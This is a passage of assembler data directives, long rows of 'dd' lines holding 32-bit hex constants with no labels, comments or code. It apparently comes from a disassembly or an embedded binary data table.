0D27C76ADh, 9543C7A4h, 0B1AF682Bh dd 81322A6Eh, 7DCE9C52h, 65C0F007h, 957D7C5Dh, 68D981F8h dd 73D63F30h, 6CE7A02Dh, 0E1FC5C1h, 35FC72DAh, 0F1C9FC38h dd 9F019BECh, 0F47957D4h, 938682C9h, 5049EDAFh, 58310793h dd 1714DFF7h, 0EEA16997h, 2EACB259h, 3DEF3BA4h, 84B0C181h dd 584E5C46h, 8445ACCEh, 0BF7FBF7h, 0CD858F3Fh, 8A9BBA01h dd 676910A1h, 1BFAC6DDh, 0C8B6AF3Eh, 1580EEFEh, 26EA73EAh dd 3B31297Dh, 0F44CD0DBh, 0F1678505h, 0B80186FCh, 892DDBC8h dd 0E096B699h, 2BCCB4A1h, 0A0567ED0h, 56D5D4AEh, 5FF456B5h dd 392B41BDh, 0AEEE4ACAh, 21965B4Fh, 68C60BFAh, 0A62DDD9Ah dd 0A507026Ah, 0D5E23F6Dh, 0D37529BCh, 0B19DB5DDh, 1F35980Fh dd 0A47646E1h, 0C2E17327h, 0A4C3DDBAh, 5FDF1117h, 9CF6363Bh dd 0CB21BCFCh, 934202Eh, 0F6CDEC31h, 0E7182EA1h, 3CBD2F45h dd 65C04C24h, 0D9FB2ED9h, 6A398F91h, 72DD0EB9h, 0C17F8C73h dd 1CCF6441h, 10DB9A31h, 0C955D86Bh, 0C066677Fh, 20F574BFh dd 6F46C7FBh, 92FE04CCh, 96FDA394h, 99F35EB3h, 9BD5C8AAh dd 3771C6EFh, 0B93B714Bh, 750A2E7Fh, 3F29E74Dh, 570CECA6h dd 74571A2Dh, 0F9666F45h, 57D41415h, 0CE4194F3h, 0EE6F7DC9h dd 4E4B152Bh, 8B241F73h, 77258ED6h, 0AE558F6Fh, 0E53BADCBh dd 0DB864DBEh, 7D26E03Ah, 0C1AFE5C5h, 3510A683h, 134BD025h dd 191B5A7Fh, 0E14FD7E4h, 59CF4ADFh, 159A9A80h, 12440295h dd 84C39E6Ch, 3771665Bh, 79A34575h, 65D75268h, 854B4C6Fh dd 0F80719F4h, 0D9730158h, 0FA3C158Ah, 50D11099h, 29289B2h dd 31973C46h, 98B9B72Bh, 719D5F99h, 66580197h, 0BE60AAF1h dd 13DE51D6h, 3A484931h, 57357655h, 0AC2FDFEBh, 34F6FF13h dd 81651613h, 0DC1C5B63h, 4DCD9705h, 0EEB7D46Dh, 38222F42h dd 7DF39ED0h, 479DCB7Dh, 363163EFh, 5C829196h, 51E9A128h dd 1EB4547h, 0C9BAFB0Bh, 533F284Bh, 83D2B6DDh, 8A0E9E45h dd 40649206h, 4BFBEB7Fh, 0C64C7655h, 0F99665C6h, 0DE010A34h dd 0BD5E3EB0h, 3814409Eh, 0CA0AAA1Eh, 2E09C0Bh, 91E8D0B0h dd 779FE8D9h, 6F3835A4h, 0CE4155ABh, 65542847h, 51FA9E50h dd 38DAA744h, 52E64085h, 4A4D9141h, 0AE6E0E59h, 0A6D85h dd 0ABE8CD19h, 6C9D9185h, 5767B976h, 0F569A74Ch, 219E8867h dd 0FBF3DEB6h, 0FC5B204Bh, 784F1427h, 71882308h, 0F9080930h dd 28EFB662h, 3847DFBCh, 8474AEDDh, 0E4564E33h, 36948662h dd 0F155AD7Bh, 0FCEFEA48h, 92F0091Dh, 0F6AC824Bh, 0E0DB1A1Ch dd 8920E8AEh, 3BDD019Bh, 2A1A7C8Dh, 1BBE41CDh, 0C4903FC9h dd 0A9390E58h, 1E56039Ch, 0AA9796B8h, 6BA586AFh, 774A82BEh dd 0F18B2695h, 0B22F128Fh, 978DE5EEh, 0A5B77C01h, 76F81C4Ah dd 1663E1D6h, 0B203E95Fh, 3357AA8Ch, 73F42125h, 89C9D8B8h dd 0D03D1387h, 56071C6Ch, 0AB06475h, 0D54A071Dh, 2C3A3F21h dd 4A75EF03h, 0A862BABAh, 3C02137Fh, 1231E411h, 594CF0BCh dd 3CC355B2h, 0A87986A1h, 0FE88D991h, 6F9D6606h, 4BA85308h dd 1B28100Ah, 5A8E90BBh, 0F523B6E5h, 4E8445B3h, 804A237Ah dd 428B7781h, 0AA183EE9h, 3FAC892Fh, 0A3316806h, 0EA055C96h dd 6691311Bh, 2CB278CAh, 5C9F88FDh, 0A2FEDD6Ah, 9312505h dd 4DE8052Dh, 1EC61250h, 0A4ED27ADh, 0A860F89Dh, 42336CA8h dd 0A59E1AF2h, 0DC1E014Ah, 685E7999h, 40776784h, 0FCFD66C3h dd 25B98F69h, 2F71F4FBh, 66A8B75Ch, 5BE80632h, 95AF4084h dd 0B34018D9h, 0AFA89028h, 512DE47h, 370BCF6Fh, 0ED70EA69h dd 64E5EB0Bh, 6FF1C34h, 2170D1E7h, 0E0F59557h, 35338ACEh dd 0BF3438Eh, 0D62D3CB3h, 0E5D57A33h, 40E1BB0Eh, 0DA2D45C8h dd 350D1DE2h, 821FDFAEh, 0C67E57C3h, 832856F1h, 0E069F2F3h dd 573D3CA0h, 0E85FA967h, 6281D556h, 409A2410h, 0B959BF78h dd 7BD555h, 0EBA5F2B4h, 89A654D6h, 0A2527A4h, 59469571h dd 0D1226217h, 0D3DAE71Fh, 0F91241E8h, 94781B52h, 3558CFD1h dd 0B469B20Fh, 0C6823D77h, 43F252BAh, 4A6A8E4Dh, 0ABC5041Ch dd 158AD45Fh, 0DB3AB793h, 0CA2460A7h, 58C5588Ch, 4448F22Eh dd 0CB464BE9h, 6C043BB8h dd 3518D7EDh, 94D71D52h, 0AEC146B0h, 791EF6B7h, 32E9C411h dd 45CE8FFBh, 96D0D09Ah, 0C72D443h, 9D485B85h, 0C4FC02D4h dd 8B27FC88h, 0FAC2D263h, 698E429Ah, 57C4859Bh, 81B48331h dd 0EC925446h, 414D0587h, 3CD26A2Ah, 0AB46C731h, 460536E9h dd 34F94322h, 0A07E8BF2h, 184A7E81h, 74DA4295h, 0CCC3B5CDh dd 0C22F9E90h, 0EB837DF0h, 0D90C82ACh, 389C7D25h, 4D7AADFFh dd 8A564705h, 5C1A85AFh, 3D1409ACh, 0F498C9E4h, 0AFB7469Ch dd 0BCED387h, 0AA609F5Dh, 0D386D699h, 1744FA69h, 50E781BBh dd 1CB3CCF2h, 9E3E1DF9h, 3762C7D1h, 0F080BD09h, 0B966F38Fh dd 89748F05h, 872127FCh, 1E692ADDh, 9EDDA062h, 0B9B6CAF8h dd 0BB00EB21h, 0A09F9A24h, 4D15D60Bh, 0A08B7E57h, 0E4B9B5AEh dd 0D3123121h, 6F0A41Eh, 26E80154h, 5FCCCFA1h, 3F317E6Bh dd 0F96D1CB6h, 30A02ADAh, 82E95F48h, 0FF9B3D7Fh, 9BBA2B4Ch dd 0AAFCF1A9h, 745FA197h, 0BA06E269h, 705DB6EDh, 0AA0D8E42h dd 1761CF13h, 9A82AF5Ch, 31FDA419h, 1AA1D14Ch, 0C6D5B019h dd 0CAB3AE9h, 0AC347EB4h, 0C0ECFCCCh, 21E0AAF3h, 118068CFh dd 0F190FF68h, 0F349E977h, 38117798h, 2A37C038h, 3963530Ch dd 0ED9BA9Eh, 0FA2CAEF1h, 51694A01h, 857F320h, 0E528B4E4h dd 0B30E542Ch, 489C72B4h, 0FAA0D8A2h, 4C82486Dh, 6A87DB3Eh dd 0FF9E938Fh, 7F2F41C5h, 9747AE3Ah, 166C9BF2h, 43EB6212h dd 0F7AF2F9Ah, 2F89A8EBh, 6B7729D3h, 7FCF63AFh, 5C8E55D3h dd 6FDEEC72h, 0F1786532h, 98F6E133h, 0F702DDB7h, 3ADF4712h dd 35626E66h, 0F0C27CCFh, 6BD092E0h, 3F4445F6h, 0FC98C4D9h dd 202E21E7h, 0B6042D73h, 92E4D6F4h, 55983A89h, 4C8B8A8h dd 0E557CC81h, 0CF84D1E3h, 97C524BDh, 18980005h, 48EDF972h dd 243DF10Ah, 300D7878h, 0CD154550h, 0AA8232EBh, 1A418D5Eh dd 0DFA44DA3h, 0D3952EBDh, 28D0B3EAh, 1DA3A037h, 70593110h dd 0FE06BE9Ah, 27BDAC2Bh, 4B1C36C4h, 6AC96E7h, 0C2333405h dd 90730AC0h, 512045C0h, 57EB2536h, 0ADE75845h, 11A41FE3h dd 91004256h, 0BE84C6DEh, 0F1AD94BCh, 9978C6D7h, 0A8F10EA8h dd 4538964Dh, 1ABC7DCAh, 9AAAF868h, 0BBC2AA86h, 0FEFB8775h dd 77A2A74h, 33966A5Ah, 45FC5B9Ah, 0CF8DA660h, 86C3477Dh dd 0FC09DCA1h, 0C8A7B6B0h, 0B1E07284h, 290E443Ah, 0EE87066Dh dd 82CD7DD0h, 61FB7C75h, 34355E70h, 77C7F2AFh, 806CC12Bh dd 7A0CB2Ch, 0BA9E110Fh, 0DD5F2515h, 0D0988200h, 0A969F2Fh dd 4063741Fh, 0A9F7163Bh, 65037B96h, 212C3EE2h, 0BCBB346Dh dd 6F9B3C3Fh, 0CDA1F2B2h, 3F38DE1Bh, 831E67D0h, 0C872C7EDh dd 587FDDB9h, 0E2736C44h, 0A1C413C3h, 91672ACh, 43AA22FCh dd 52238E35h, 0BAADD542h, 8E1BF24Dh, 0ED63B52Ch, 0CA3A0210h dd 9CDD0DEBh, 79548EB4h, 63EC4DAAh, 0DBF1C901h, 0AA369802h dd 0E23BC871h, 9CDDDC90h, 0FAB5A893h, 0A7227E5Ch, 78C2A2DAh dd 0C313568Ch, 1E54A03Fh, 2EC4AC5Eh, 39CC44D8h, 8E92E0DEh dd 30E8E77Fh, 0D69A6845h, 0D0B7B8A7h, 0DAF5F3EBh, 78996FC5h dd 1B18969Ah, 97BB881Fh, 0F3A455D6h, 7ECAAF15h, 0CFBD0D7Ch dd 0A24F79A4h, 0E6F27C1Ah, 0E9B9DE97h, 0E05A90FDh, 9C4F7E51h dd 6E6B9921h, 17D8F3FDh, 22895DFCh, 1A86F6D5h, 70A6F5C4h dd 6F73E821h, 0C689E55Bh, 77BAF8A5h, 216EDF71h, 0CBF8076Ch dd 4EC2B4EEh, 84DAE45Fh, 5CC37BB9h, 0C5A17864h, 9AC6DF62h dd 9155BEB3h, 0BDFC5DE1h, 74699E0h, 6AC3F917h, 0E36E99EBh dd 0C3BDCF09h, 57F8B566h, 0CDAD411Dh, 0D5A52A9Ah, 7B6DDB6Fh dd 5436373Ah, 7147E9BBh, 0FDD7F776h, 4E9574A1h, 112AF2Fh dd 0AF617619h, 597B0215h, 8BB0E52Fh, 7187696Fh, 8D6FFF5Dh dd 5E5CAE28h, 0AACEB829h, 0A7819C4Eh, 75C1F70Fh, 0A659FBA0h dd 91EE5C38h, 3C09FBE5h, 5EDA5E39h, 420F91E4h, 17627662h dd 3C6B58E8h, 205FD671h, 0AB4D2F8Ah, 7898E66h, 5D366396h dd 0D7AE72B6h, 0D0BDFAEDh, 0E85B317Bh, 600E844Dh, 0BC1CDD79h dd 6404A35Ch, 0CC45353Bh, 227BF9EEh, 8889181Eh, 0FC490374h dd 100EBAE8h, 0BAFB596Fh, 22B5A2E9h, 0ADB1EA49h, 7DD556F1h dd 50D2BA76h, 1E3C5672h, 69B06713h, 0FEC41FBBh, 529299EBh dd 980A1D9Ah, 0B7ABF0DBh, 4F0F6D1Bh, 40D7AAB7h, 0C27FB024h dd 2CBFF3F7h, 0FD76F581h, 0F1924098h, 118B33F3h, 63D0CCF0h dd 80403E57h, 5CB9245Ch, 0AE8085BDh, 8EEC2B47h, 0B6E8EFEBh dd 0D4100187h, 5250B41h, 25C426A5h, 0FE630CBCh, 0F9A31D51h dd 0B1331536h, 0D2C6F2EBh, 62C566EBh, 0B410E140h, 0C72B59F8h dd 0B8734E95h, 7FBDEA2Fh, 72D81516h, 0D29C55C0h, 8B11CBF7h dd 0C07096A7h, 3905716Ah, 0DE684F39h, 0D269C04Fh, 11AD2C74h dd 216E6B0Bh, 135D5CADh, 94618DADh, 4E06221Fh, 8ABBC953h dd 0CCB5FB4h, 597FF5D6h, 8EB40B8Fh, 0F8893B36h, 51D2D700h dd 37A3BB5Bh, 0F1CDF20Fh, 0BC2E91B3h, 0FA15DDB1h, 6E07951Bh dd 0E181BF06h, 8F2F39CCh, 2880E6D0h, 664F6802h, 0A505752Eh dd 0F35793BFh, 0DFE41BFAh, 0CFED2E72h, 4124A323h, 0CCC13551h dd 0DE92401Fh, 0FA983D98h, 0BE150A25h, 150D5152h, 98A8A3BCh dd 0EA232A30h, 20597FFAh, 109D5B7h, 0F08C2458h, 18691249h dd 0CF7D26E8h, 99EB226Bh, 2D5DA87Fh, 0E33097FEh, 0A1EDD6BCh dd 0FFA003EEh, 327F67CCh, 0B4DF055Dh, 95B14DCCh, 0FCFDDA36h dd 0C93F1193h, 3039697Bh, 4D3C10EFh, 0BA6054FEh, 2A82AB28h dd 4B77CF73h, 0FBF9A2CBh, 0AFF2647Ah, 1F45A4Dh, 5C456D9Bh dd 3C14317Ah, 3AADC60Ah, 0BF1E1ADEh, 4482EF7Ah, 0EBCDA224h dd 0A9C4D180h, 0C973A1F5h, 283EF8D1h, 423839FFh, 21B7728Bh dd 62287716h, 0DB7A0B49h, 18B1D36Bh, 9CADC2E3h, 90825B3Fh dd 18F7E7BEh, 0EEC4ABB0h, 0D99F6411h, 15F512A6h, 0A134F9ABh dd 0B65F9C5Fh, 13122897h, 0F5D37787h, 0BE8E5E46h, 0A722FC18h dd 0D2CC1111h, 9BD2E2FAh, 3A3156BAh, 33A452CFh, 9C59C635h dd 416A00D8h, 2DACF8CDh, 7FAE2D4Dh, 463B48FBh, 0CEDE3DF0h dd 8934B64Dh, 713364E8h, 2799A722h, 0DF503D08h, 0DA279C48h dd 3AC4D96Bh, 24F7F55Bh, 4740198Ah, 0A50AF3BBh, 47827D01h dd 0CB92ECAEh, 0F159A0E4h, 6C9A7B09h, 0DBAC4DBBh, 9F0977E0h dd 4DEEB8E4h, 2AD103ADh, 8BAB5198h, 0FA21D07Fh, 2A87A663h dd 0BE9AD23Bh, 7FA1366Ah, 3167658Eh, 54C5C893h, 0BA44C497h dd 6DCF2A48h, 0C62E53Ah, 0C00C17E9h, 5709207Ch, 88E8C460h dd 8405232Bh, 1DDEC6E0h, 0B9699ECCh, 6BFC9C9Ch, 0B93A84FBh dd 9BBA8054h, 6A062B03h, 0A0EE8237h, 0B85311Bh, 0DD051E3Ah dd 4422F000h, 1FF2D233h, 3023063Ah, 367C6192h, 61E5047Ah dd 1CB2B57Ah, 0F30DF147h, 3025DA90h, 7B345870h, 7FD0897Eh dd 9C31A95Fh, 7C32AB24h, 56DC6DEFh, 5F7F9466h, 200DC9DEh dd 0E8188773h, 0B15FDFh, 69810F53h, 93419734h, 10A31D60h dd 2A66D954h, 5EBD1FB8h, 0B5B3A154h, 42EEA868h, 0F6AE56F1h dd 0FC27F257h, 7E30C731h, 0B3AACD4h, 0D043136Fh, 48FDFC24h dd 0BBBF106Eh, 9603A674h, 0EE30D57Fh, 28E30DB4h, 5C6AC3C8h dd 92B6C642h, 0C82B57C4h, 2742AE1Fh, 7D904141h, 0D9A6B35Ah dd 0B43F8EF3h, 0B706BD77h, 0F94EB784h, 1937A2A6h, 861A8851h dd 9A1D8C98h, 32139F2Ah, 4089BAA0h, 0F94D82FFh, 0D6DAB56Dh dd 67FB62CCh, 0B57DB2A8h dd 0F23302C3h, 0D03DED68h, 1EDEA8FCh, 0C1EE413h, 0D731630Fh dd 5271D70Fh, 26A1C88Bh, 229573EAh, 5A2BD6DDh, 84907E64h dd 862085EBh, 68910137h, 23FCBC00h, 53DF1CA1h, 0BFC931B7h dd 2FDED36Fh, 0E7ED2764h, 55FE93E2h, 6C758FCBh, 1FD9226Ch dd 726C0C1Ah, 875C530Fh, 5371AFCDh, 8D9AFCA9h, 7F7B49C3h dd 7D454BEEh, 0D2AB1FC2h, 479B0E6Ah, 0A7DBE59Bh, 3EA46989h dd 0CC96926Bh, 0A56B4ECAh, 0A4907E8h, 2C63C3D3h, 0B9E64262h dd 0B1A969AEh, 0D7BEBB27h, 0DF4E0850h, 58ACD9DBh, 0CD7A7A6Fh dd 0C631B759h, 0A79B0766h, 0C5D4DA21h, 9DEF338h, 19104664h dd 0ADF059E2h, 0D8BFBCB8h, 0B4A4F37Ch, 0E17DCE9Fh, 150BC39Ah dd 0CDDC2F56h, 19296112h, 0D35BF692h, 0C3981FA2h, 0C8F6C621h dd 0D2615DCDh, 0B011E703h, 0C56D8FD6h, 46B24DB9h, 0CC9D3AB3h dd 0FD860C35h, 0C692CF92h, 0DF44559Dh, 63F889B2h, 0A657D947h dd 94F362A8h, 8E24C808h, 155A0B17h, 0EFFF5701h, 0B6855E8Dh dd 0B1A2EF4Ch, 0FE12DCD8h, 240B12Fh, 67DFE217h, 0EF6D31FEh dd 1F80CC13h, 9D2F85ECh, 5D730B99h, 0C85ED956h, 3BDCD6BDh dd 0F37B84EEh, 0F1B68752h, 627234FAh, 7726B7B3h, 0D1F126E6h dd 2D47C0D3h, 0EB05A056h, 3F3B4137h, 0FCCF1676h, 0A7157BDDh dd 8A71ECA7h, 7C26275Dh, 0CED478C9h, 0AECCB1Fh, 477DE6D0h dd 0BE3951BAh, 2E294AAh, 0A4EBFEB8h, 0C05B7E4Dh, 26524E8Ch dd 6252A7A1h, 32C94026h, 36BBD2C5h, 43C0ACB0h, 0B0B6F335h dd 373F471Dh, 8E03DB1Fh, 0E095A084h, 0F8CF59Fh, 38FDB2B0h dd 0FC7CFC4Dh, 3B651E11h, 0E7F047BAh, 0BBFDD08Dh, 90BDA81Eh dd 0B5FA17h, 25EF8F96h, 0D48F677Eh, 378041F0h, 122C35E0h dd 13A8673Ch, 41F2D392h, 5F7331B8h, 0A518E13Bh, 24CF3FFBh dd 7E8CD1AFh, 4BCD718h, 10E4B9B4h, 0EF457C1Dh, 1D849030h dd 94ABF0A5h, 48D5774Fh, 0B82B5E42h, 0E5E3372Bh, 0AFA0CC8Ch dd 34F719C5h, 0A2DCE341h, 83E43328h, 0CA0C5B62h, 379AF53Fh dd 3DE56A06h, 0BFEC83E6h, 64AFBF77h, 9E6D5F2Fh, 58351400h dd 2FC23D6Eh, 0BCC0DF1h, 64C79524h, 2AED2848h, 988D007Dh dd 1FD4E801h, 6745BA91h, 5E780971h, 9C8A200h, 0E2F6B876h dd 29719AE2h, 4DAB57F4h, 0EE6B9258h, 2057CD15h, 28802D18h dd 6041D31Fh, 94D3C9EFh, 1916166Dh, 0FD73744Fh, 0E85B5C8Dh dd 6BF23F44h, 0A4C2680Dh, 0FEF0A23Ch, 6D6DFA5Ah, 19F38C65h dd 0C1C297BFh, 8BFD6984h, 11E44FCh, 0E5661E97h, 14539850h dd 6CD539F6h, 0E29F0869h, 5DE23742h, 0E543365Fh, 2EF2DDDDh dd 7A212948h, 575A4986h, 76AB0E12h, 1E5F4854h, 0C8121FF1h dd 0C95878D4h, 4EBD5E53h, 0F8ABA1A8h, 0C775DD69h, 7E8806D4h dd 6AB5F5A0h, 0FC70815Ah, 0C1EC14F5h, 7AE2754h, 8B518B9Bh dd 7E1E6834h, 0B23DB611h, 298760Bh, 8CA07799h, 94CEB64h dd 0FB788E4Fh, 0A0C7CBF4h, 1167FDEFh, 0BB904CB6h, 0B6FE8F0Ch dd 0DDF0FEDCh, 9DF5A311h, 0E48F28F6h, 0A6BBFDD1h, 1406D6D2h dd 0B6AD8765h, 0D9321BDh, 7C61D2F7h, 522EECA1h, 56E990EDh dd 0DD170142h, 133C496h, 0B435EB13h, 3AD1D9Ch, 4B0CED55h dd 89B259E7h, 47A3B4A4h, 813B2536h, 0E24D8B08h, 0D772FAF6h dd 37919F7Dh, 0C609A159h, 4DABACD7h, 0E5D01C0h, 0CCC7478Ch dd 78A9D7EBh, 0EE0E43E5h, 0FC4DFE25h, 2EFD2222h, 13494091h dd 0D891B844h, 0A94B2B9Fh, 0E59DCA74h, 3DD4A56Eh, 5D5F7BCh dd 87FE1E42h, 1A349F5Ah, 0BCF9ABBEh, 71A73991h, 3D160B14h dd 382E6950h, 812D171Fh, 8CAA0D29h, 74A698E4h, 1AEABFCDh dd 1A9F4DF5h, 57ED8D97h, 56223D8Bh, 0D7BD0594h, 64D295D6h dd 18F69FC0h, 73A7D250h, 80E4A329h, 7CF5BB64h, 0A157A70Dh dd 6388A396h, 258164D5h, 9D688B34h, 0F53AD64Eh, 5062707Ah dd 0C58AD718h, 0F666A232h, 72DA989h, 54D53147h, 424F51BBh dd 0D26CCB32h, 897F9D2Eh, 0AD66BC59h, 0B305F450h, 0A774A200h dd 2A9CBF3Fh, 9FC9F941h, 0B97DCCA6h, 5537EA79h, 32554420h dd 2E2A31F2h, 0BEE96AAFh, 24B7832h, 2717D029h, 27086F33h dd 3486DF72h, 0C4784D62h, 0DD71A168h, 0B23D01B9h, 6A7BD96Dh dd 0C93F95F4h, 7873FA15h, 1EE68576h, 0B2AB3BC3h, 0E8230AB1h dd 64CE6BB7h, 71A5BDBDh, 510F415Bh, 15D20BF2h, 3A9CF39Fh dd 64CAD4E0h, 0EC0E15E3h, 40503936h, 0FC676276h, 20BAA90h dd 91777C9Fh, 0BB90EAE0h, 0CC1AB7F6h, 24BF298Fh, 97B1A6BEh dd 0D3DA6798h, 6B1DA2C1h, 0AE5F6304h, 0A621E956h, 5D157F3Bh dd 0E9CA5C86h, 2DAEB280h, 3E530E5Ah, 49EE1E7Ah, 48737516h dd 0F97E1F05h, 0DE94AA69h, 6B812997h, 385615C0h, 9766BCF0h dd 3D637328h, 0F308F2B1h, 60866B37h, 8832BC10h, 64B8209Fh dd 0FE09C574h, 0EDEE0395h, 0E56BD4EAh, 0DBD9619Eh, 0DBF73562h dd 71CF296Ch, 2559B9BAh, 44F8AAFBh, 74BB446h, 97BF2C4h dd 1A4CAC5h, 0C27F5C2Fh, 0A562E198h, 0B5891C78h, 331F7BDDh dd 5D259721h, 797BF129h, 0B512445Fh, 8A26313h, 1AB71647h dd 0F434F288h, 0FCCBF83h, 97CA787Ah, 62CA2D3Fh, 40507D7Fh dd 3365945h, 886ECF44h, 0EB15A785h, 8D597CFFh, 212462BBh dd 0FC16BE27h, 771ED3D2h, 6C836CAFh, 674943E7h, 1EA465D2h dd 0C6A7C0FEh, 0DB848484h, 12C3D7F9h, 0A38AC9F6h, 73D90394h dd 0F57CDE5Fh, 6BF8E5ABh, 0B8BBA08Bh, 0FE6831C7h, 0B8EEF87Fh dd 761F4969h, 0BC99CED3h, 774F085h, 0D4951DA0h, 15A6BF38h dd 799C67h, 0EBA98A16h, 5F1C86EFh, 80581AF4h, 4496BE9Bh dd 0A0D18CCFh, 3DA1C2D3h, 3FA99BD5h, 0EC156F7Fh, 30EE27BEh dd 1F55EB3Bh, 0A0CD3807h, 0B55B5EAAh, 0F498360Ah, 92430568h dd 47B8DFE8h, 99DD85B1h, 0E67A7B96h, 475FC04Ch, 0C8298351h dd 0D2E25476h, 0B087554h, 0AA6CD784h, 3FF866C6h, 727BF7E7h dd 0A33AAB88h, 0CEAECDA7h, 4587802Eh, 0CB3184CDh, 8382E5FDh dd 822F8B52h, 2C35AEEh, 4B4FDD04h, 0BFA0CEDDh, 4E3E82B7h dd 4FF47DA6h, 33E8F6B7h, 0BACB8201h, 0C18259h, 3764024Eh dd 0A29AD5BBh, 9FA2AB1h, 0A419F6D4h, 5943EE68h, 0A71C94E7h dd 56D26D14h, 5CC523ADh, 0F6B115h, 47E84F85h, 48D6ECD4h dd 0AD751923h, 1ACFA801h, 191DE78Ch, 9248D670h, 858E7983h dd 1C47AE7Eh, 48E8C379h, 0C22E727Bh, 9476D09h, 8E57E08Bh dd 2D6AFD14h, 611F55B4h, 0A400FA9Fh, 978D3FC8h, 5E5EDEC0h dd 23DE2F99h, 0AA159C6h, 86DBC581h, 86926A93h, 81633836h dd 1316031Ah, 74511891h, 2CABCCC8h, 8E16E1DAh, 628ED8BCh dd 0A01D4038h, 44DBFA3h, 4A3695Eh, 0E4E1288Fh, 7A96BA5h dd 9013D668h, 0C9D487BBh, 2D658AFCh, 276DE523h, 0F407A01Eh dd 7A8E1057h, 0F20363BEh, 55B7E034h, 0FB615872h, 7763D758h dd 8CCB1081h, 89CAFD0Fh, 0FC1C0614h, 0A22AB48Fh, 0B665DC54h dd 35F3B193h, 8B80380Ch, 9A397EDDh, 7A31EC96h, 0F4019BE7h dd 502FA528h, 0A91562A8h, 0A588AC05h, 0D5BC1293h, 0D02F1D7Fh dd 0A958447Eh, 56F866DFh, 0DDBE3CC4h, 6A2C0BE5h, 0ABA14FABh dd 28C561C7h, 0C4A23AF4h, 2687200Dh, 0AB0F5115h, 0ACED8D87h dd 0EADEE3A7h, 0FCC666AFh, 4381383Bh, 0BA83C017h, 92A453DAh dd 5B2980C6h, 0F4832313h, 0FB45D0FEh, 0BD24612h, 9EEBA418h dd 841E998Bh, 0B10FEBA5h, 0A506AA7Fh, 40A43A49h, 2509D784h dd 0DF86E15Dh, 2421542Bh dd 91CEA1AAh, 33D0C3Eh, 0D0C93482h, 98604FB3h, 0F95F210Dh dd 18DEA266h, 0B4E61C46h, 46CEB3B0h, 2CD68E70h, 0D5B90E89h dd 0F634837Dh, 6A84C40Dh, 2FC99CC9h, 78CCB68Dh, 0DE1021A8h dd 4DB7214Ch, 0C348109Dh, 5979C2F8h, 0DAA109C1h, 0B68F5CAAh dd 198790F1h, 3A760C53h, 6F6F1DE8h, 4AC5A3D7h, 0C5E9A561h dd 0B091E118h, 3A277B38h, 28273AEFh, 6940676h, 58D63328h dd 0DE1D1FE6h, 5A1C7CA6h, 0D3652E6Eh, 0B73BCDC6h, 0E467427h dd 0C44D259Ah, 0B6D21C00h, 7ACC420Ch, 7A886451h, 0CB678259h dd 9F658A98h, 6AF171C6h, 1BEAAB38h, 0BDBEB918h, 89607ACFh dd 79D84744h, 2557B5E9h, 100C6D31h, 504421Bh, 74E52D17h dd 0C41D85E2h, 712FB532h, 43AC307Eh, 7B73CBECh, 7F5B3953h dd 131DE054h, 69343D56h, 0A5F2B138h, 306D6C5Fh, 38A63609h dd 9C5BCDF2h, 0C3F18451h, 11795A36h, 0F490E3D2h, 0F238B113h dd 0FC1EFD67h, 128B81E4h, 6FA72658h, 10647BE7h, 925557E0h dd 384AE722h, 392D33D6h, 0B3B143DDh, 0A9E72489h, 0D35E7923h dd 81215AC4h, 0A44C012Ch, 0A6F08482h, 4D526725h, 0F7A8C5EEh dd 0F2E3BD66h, 3526E3D2h, 0B9A938FAh, 0EBB1B929h, 19719D6Fh dd 0D20AAE8Dh, 17A99E77h, 0E293A0F3h, 83C23AFBh, 43C38524h dd 80A9556Bh, 42EA8AAAh, 85F3389Eh, 0C5ABB804h, 0C404EBC0h dd 0D24B60BEh, 0BC6E29A4h, 8FD8FD04h, 5604BBF0h, 0EB07B46Bh dd 5CED8945h, 36E08F2Fh, 0B8984B88h, 74E16E33h, 27DC6584h dd 53FC29AFh, 461B2h, 69A76D4Dh, 0E7AF00F3h, 0C2E13114h dd 0D89A4281h, 0E9EE46AAh, 2B00F016h, 0F8C1532Ah, 3C66E89Dh dd 0D8F402Eh, 858DBC49h, 4C81DCEDh, 931C7139h, 7D7F702Dh dd 19A5253Fh, 0B2230582h, 23DF69E9h, 0BEF915E1h, 0BD3BCCE2h dd 8ACC27FCh, 9F504DC5h, 7C50EC92h, 21B73719h, 79CE168Ch dd 46C06AAEh, 0C732344Bh, 6F0487DAh, 0E221B77Dh, 0E64A46C7h dd 4CEA4164h, 7673CEB4h, 81247C34h, 0B2AA1D88h, 5D133A39h dd 3BFFC799h, 0E4370179h, 49822DC1h, 6A847654h, 6FE3C9B7h dd 9895B67Eh, 76F060h, 3B0FB714h, 177D143h, 0AAE86ED1h dd 86503A67h, 0EBB7DF0Dh, 58118806h, 0F3428420h, 0B784EF52h dd 0AFBCAA9Fh, 7DA9BEDCh, 0DA734B75h, 67463CD7h, 0F21BB617h dd 0C7BE6916h, 181381D6h, 2482F194h, 0C49CE7C9h, 7C80FE36h dd 2568F982h, 0E242B2DDh, 6ED784BBh, 5268CB35h, 7853A65Ah dd 0E1DAABC8h, 0A26B06C5h, 0C62DF00Dh, 5DC2B20Ah, 541CE345h dd 5D62170Bh, 2FEBFCC4h, 0F9DA376Eh, 9D34DFCFh, 0CF369A7Ah dd 90D61640h, 0E854607Ch, 0DA994936h, 94B0731Ah, 8CD2C8E1h dd 48519235h, 0BEDE8301h, 3DBEDE85h, 89BF0C53h, 0AEA68286h dd 4992714Bh, 0BA1AF910h, 3A26294Ch, 0BD3C22E3h, 3D5D28DCh dd 0AF7A2E98h, 4F1D94BAh, 0E1356377h, 1199AFEAh, 0EE9E4017h dd 38966725h, 0BDA378A8h, 0F03809B1h, 0D8B6234Fh, 9A908923h dd 0EB570B74h, 5FFE243h, 0C613881Bh, 0A4E949BAh, 6AFC1C28h dd 3B973A4Ch, 0CC22FC54h, 0B5A3A404h, 864BE1Ah, 48E525F9h dd 0B980532h, 0B466CDFBh, 0E4AA6DFFh, 0FEE6F047h, 0AB5345EFh dd 99D0E855h, 0F3336959h, 516B27E0h, 0B259BCBFh, 58DAF825h dd 0DA2C7BD8h, 0F78BE60Bh, 95993C45h, 0AD52070Ah, 0B0549270h dd 15BF96F9h, 0C8DE4EA8h, 0FE0AECC4h, 7B5D6CD7h, 35FEB487h dd 0D9B697A6h, 91042BC6h, 0B0A6944h, 91D0FAC0h, 15D07A24h dd 51F415DAh, 62022F49h, 4A075D09h, 0AF276BE7h, 74079620h dd 0D413F2FDh, 5FF8A90Fh, 0BA9E4639h, 3003F9E7h, 0C33982F2h dd 168777A8h, 11772D1h, 0CF915EE4h, 0C0E830A9h, 0DC6358D1h dd 4AA1B903h, 931C654Bh, 538C78C5h, 0B0129655h, 0E5131F72h dd 0AC166D93h, 0D8A38F98h, 565170Ch, 24502460h, 43B5341Ah dd 0AC634478h, 0EF7B0F7Ch, 